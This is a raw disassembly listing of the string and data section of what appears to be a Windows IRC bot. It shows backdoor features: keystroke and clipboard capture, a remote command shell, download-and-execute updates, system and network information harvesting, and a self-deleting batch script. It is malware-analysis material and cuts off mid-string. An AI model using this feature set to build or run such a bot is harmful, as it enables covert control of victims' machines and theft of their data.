DATA XREF: sub_40981F+A58o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_40981F:loc_40A26Ao align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_40981F+9CEo align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_40981F+9C1o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_40981F+9B4o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_40981F+9A7o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_40981F+99Ao align 10h aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_40981F+98Do align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_40981F+980o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40981F+973o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_40981F+966o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_40981F+959o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_40981F+951o aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_40981F:loc_40A15Fo align 10h aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_40981F+903o align 10h aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_40981F+8F6o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_40981F+8EEo align 10h aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_40981F:loc_40A100o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40981F+8B4o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_40981F+842o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_40981F+835o align 10h aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_40981F+828o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_40981F+81Bo align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_40981F+80Eo align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_40981F+801o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_40981F+7F4o align 10h aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_40981F+7E7o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40981F+7DAo aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_40981F+7D2o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_40981F:loc_409FE0o aClosesocket db 'closesocket',0 ; DATA XREF: sub_40981F+688o aGetpeername db 'getpeername',0 ; DATA XREF: sub_40981F+67Bo aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_40981F+66Eo align 10h aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_40981F+661o align 10h aGethostname db 'gethostname',0 ; DATA XREF: sub_40981F+654o aGetsockname db 'getsockname',0 ; DATA XREF: sub_40981F+647o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_40981F+63Ao align 4 aAccept db 'accept',0 ; DATA XREF: sub_40981F+62Do ; ___:0042FA44o align 4 aListen db 'listen',0 ; DATA XREF: sub_40981F+620o align 4 aSelect db 'select',0 ; DATA XREF: sub_40981F+613o align 4 aBind db 'bind',0 ; DATA XREF: sub_40981F+60Bo align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_40981F+5F9o align 10h aRecv db 'recv',0 ; DATA XREF: sub_40981F+5ECo align 4 aSendto db 'sendto',0 ; DATA XREF: sub_40981F+5DFo align 10h aSend db 'send',0 ; DATA XREF: sub_40981F+5D2o ; sub_40EE72+220Do align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_40981F+5C5o align 10h aNtohs db 'ntohs',0 ; DATA XREF: sub_40981F+5B8o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_40981F+5ABo align 10h aHtons db 'htons',0 ; DATA XREF: sub_40981F+59Eo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_40981F+591o align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_40981F+584o align 10h aConnect db 'connect',0 ; DATA XREF: sub_40981F+577o ; ___:0042FE54o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_40981F+56Ao aSocket db 'socket',0 ; DATA XREF: sub_40981F+55Do align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_40981F+550o align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_40981F+543o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_40981F+536o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_40981F+529o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_40981F+51Co align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_40981F+50Fo align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_40981F+507o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_40981F+4F6o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_40981F+483o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_40981F+476o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_40981F+469o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_40981F+45Co align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_40981F+44Fo align 10h aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_40981F+442o align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_40981F+435o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_40981F+428o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_40981F+420o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_40981F:loc_409C2Eo align 10h aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_40981F:loc_409C06o align 10h aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40981F+38Fo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_40981F+382o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_40981F+375o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_40981F+368o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_40981F+35Bo align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_40981F+34Eo align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_40981F+341o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_40981F:loc_409B58o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40981F+309o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40981F+2FCo align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_40981F:loc_409B13o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_40981F+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_40981F+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_40981F+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_40981F+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_40981F+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_40981F+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_40981F:loc_409A7Eo align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_40981F+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_40981F+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_40981F+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_40981F:loc_409A17o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_40981F+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_40981F+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_40981F+186o align 10h aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_40981F+179o align 10h aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_40981F+16Co align 10h aIswindow db 'IsWindow',0 ; DATA XREF: sub_40981F+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_40981F+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_40981F+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_40981F:loc_409954o ; sub_42105F+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40981F:loc_409927o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40981F+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40981F+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_40981F+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_40981F+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40981F+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40981F+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_40981F+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40981F+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_40981F+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40981F+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_40981F+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_40981F+Ao align 4 unk_42D764 db 2 ; DATA XREF: sub_40A4AC+2F2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDllTestComplet db ' DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+2CCo align 10h aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+12Co align 10h aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+C4o align 10h aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+28o align 10h aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40AA35+72o align 4 aMirc db 'mIRC',0 ; DATA XREF: sub_40AAFA+5o ; sub_415C5C+18o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_40AB7C+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AC20+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40AC42+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_40AC42+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_40AC42+48o align 4 unk_42D9A8 db 2 ; DATA XREF: sub_40AE02:loc_40AEC1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aNotSupportedBy db ' Not supported by this system.',0 align 4 unk_42D9E8 db 2 ; DATA XREF: sub_40AE02:loc_40AE8Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToAlloca db ' Unable to allocation ARP cache.',0 align 4 unk_42DA28 db 2 ; DATA XREF: sub_40AE02:loc_40AE5Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheIsEmpt db ' ARP cache is empty.',0 align 4 unk_42DA5C db 2 ; DATA XREF: sub_40AE02+49o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorGettingAr db ' Error getting ARP cache: <%d>.',0 align 4 unk_42DA9C db 2 ; DATA XREF: sub_40AF86+13Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedSendin db ' Finished sending pings to %s.',0 align 4 unk_42DAD8 db 2 ; DATA XREF: sub_40AF86+6Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPi db ' Error sending pings to %s.',0 align 10h dword_42DB10 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B112+1C6o dd 2BBBB02h aFinishedSend_0 db ' Finished sending packets to %s.',0 align 4 dword_42DB4C dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B112+8Eo dd 2BBBB02h aErrorSending_1 db ' Error sending pings to %s.',0 align 4 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B390+33o dword_42DB94 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B417:loc_40B549o dd 2BBBB02h aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0 align 4 dword_42DBD4 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B417+10Fo dd 2BBBB02h aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0 align 4 dword_42DC0C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B417:loc_40B4FDo dd 2BBBB02h aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0 align 4 dword_42DC4C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B56C+194o dd 2BBBB02h aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0 align 10h dword_42DC90 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B56C+14Co dd 2BBBB02h aRemoteCommandP db ' Remote Command Prompt',0 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40B56C+21o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40B721+52o aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:' ; DATA XREF: sub_40B8D8+297o db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:' db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:' db ' %s. [Uptime]: %s.',0 align 4 aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40B8D8+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B8D8:loc_40BA3Co align 10h word_42DDD0 dw 3Fh ; DATA XREF: sub_40B8D8:loc_40B9DAr ; sub_40D099+1Fo align 4 dword_42DDD4 dd 28207325h, 297325h ; DATA XREF: sub_40B8D8+EBo dword_42DDDC dd 3F3F3Fh ; DATA XREF: sub_40B8D8:loc_40B99Bo ; ___:loc_415C0Do a2003 db '2003',0 ; DATA XREF: sub_40B8D8+BAo ; ___:0042F8DCo align 4 aXp db 'XP',0 ; DATA XREF: sub_40B8D8+AAo ; ___:00415BF8o align 4 a2k db '2K',0 ; DATA XREF: sub_40B8D8+98o ; ___:00415BE8o align 10h aMe db 'ME',0 ; DATA XREF: sub_40B8D8+7Eo ; ___:00415BCFo align 4 a98 db '98',0 ; DATA XREF: sub_40B8D8+6Co ; ___:00415BBFo align 4 aNt db 'NT',0 ; DATA XREF: sub_40B8D8+5Ao ; ___:00415BAFo align 4 a95 db '95',0 ; DATA XREF: sub_40B8D8+46o ; ___:00415BA1o align 10h aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0 ; DATA XREF: sub_40BB8C+A4o align 10h off_42DE40 dd offset loc_412F4E ; DATA XREF: sub_40BB8C:loc_40BBF8o off_42DE44 dd offset dword_4E414C ; DATA XREF: sub_40BB8C:loc_40BBEEo dword_42DE48 dd 6C616944h, 70752Dh ; DATA XREF: sub_40BB8C+5Bo dword_42DE50 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_40BB8C+48o unk_42DE60 db 2 ; DATA XREF: sub_40BC4B:loc_40BE04o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToConnec db 'Failed to connect to HTTP server.',0 align 10h unk_42DEA0 db 2 ; DATA XREF: sub_40BC4B:loc_40BDFDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aCouldNotOpenAC db 'Could not open a connection.',0 align 4 dword_42DEDC dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40BC4B+1A0o dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch, 2E4C5255h dd 0 unk_42DF08 db 2 ; DATA XREF: sub_40BC4B:loc_40BDDEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToGetReq db 'Failed to get requested URL from HTTP server.',0 align 4 dword_42DF54 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40BC4B+18Co dd 0BB022029h, 202002BBh, 204C5255h, 69736976h, 2E646574h dd 0 dword_42DF80 dd 2A2F2Ah ; DATA XREF: sub_40BC4B+3Bo dword_42DF84 dd 202E6425h, 3D207325h, 732520h ; DATA XREF: sub_40BEF5+35o dword_42DF90 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40BEF5+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40BF6D+60o align 4 dword_42DFC4 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch ; DATA XREF: sub_40C00D+1Ao dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h, 0 dword_42DFEC dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C07F+DCo dd 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh, 2E657465h dd 0 dword_42E018 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C07F+3Fo dd 2BBBB02h, 65422020h, 6E6967h dword_42E038 dd 80000002h, 42F6D0h, 80000002h, 42F700h, 80000001h, 42F738h ; DATA XREF: sub_40C1AE+7o dword_42E050 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C1AE+63o ; sub_40C351+170o dd 2BBBB02h aFailedToSendTo db ' Failed to send to Remote command shell.',0 align 4 dword_42E094 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C351+ABo dd 2BBBB02h aFailedToOpenRe db ' Failed to open remote command shell.',0 align 4 dword_42E0D4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C351+47o ; sub_40C512+FDo dd 2BBBB02h aFailedToOpenSo db ' Failed to open socket.',0 align 4 dword_42E108 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+362o ; sub_40C8B4+156o dd 2BBBB02h, 6F532020h, 74656B63h, 72726520h, 2E726Fh dword_42E130 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+2FAo dd 2BBBB02h aTransferComp_0 db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0 dword_42E180 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+202o dd 2BBBB02h aUnableToOpenSo db ' Unable to open socket.',0 align 4 dword_42E1B4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+1CBo dd 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h, 2E7475h dword_42E1DC dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40C512+16Ao dd 169h dword_42E1F4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+127o dd 2BBBB02h aFileDoesnTExis db ' File doesn',27h,'t exist.',0 align 4 dword_42E224 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+82o dd 2BBBB02h aFailedToBindTo db ' Failed to bind to socket.',0 dword_42E258 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+44o dd 2BBBB02h aFailedToCreate db ' Failed to create socket.',0 align 4 dword_42E28C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+1D1o dd 2BBBB02h aTransferComp_1 db ' Transfer complete from IP: %s, Filename: %s (%s bytes).',0 align 10h dword_42E2E0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+CBo dd 2BBBB02h aErrorOpeningSo db ' Error opening socket.',0 dword_42E310 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+ABo dd 2BBBB02h aErrorOpeningFi db ' Error opening file for writing.',0 align 4 aAB db 'a+b',0 ; DATA XREF: sub_40C8B4+97o dword_42E350 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+83o dd 2BBBB02h aErrorUnableToW db ' Error unable to write file to disk.',0 align 10h unk_42E390 db 2 ; DATA XREF: sub_40CAF1+493o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0 align 4 unk_42E3CC db 2 ; DATA XREF: sub_40CAF1+485o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateFailedEr db ' Update failed: Error executing file: %s.',0 unk_42E414 db 2 ; DATA XREF: sub_40CAF1+3C9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0 align 4 dword_42E464 dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h ; DATA XREF: sub_40CAF1+358o dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h, 25203A64h dd 2E73h aOpen db 'open',0 ; DATA XREF: sub_40CAF1+336o ; sub_40EE72+2B48o ... align 4 unk_42E498 db 2 ; DATA XREF: sub_40CAF1+2E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0 align 10h unk_42E4E0 db 2 ; DATA XREF: sub_40CAF1+262o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCrcFailedDD_ db ' CRC Failed (%d != %d).',0 align 4 unk_42E518 db 2 ; DATA XREF: sub_40CAF1+1D8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0 align 4 unk_42E55C db 2 ; DATA XREF: sub_40CAF1+195o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0 align 4 unk_42E59C db 2 ; DATA XREF: sub_40CAF1+183o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileDownloadSD db ' File download: %s (%dKB transferred).',0 align 4 unk_42E5E4 db 2 ; DATA XREF: sub_40CAF1+77o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTOpenFil db ' Couldn',27h,'t open 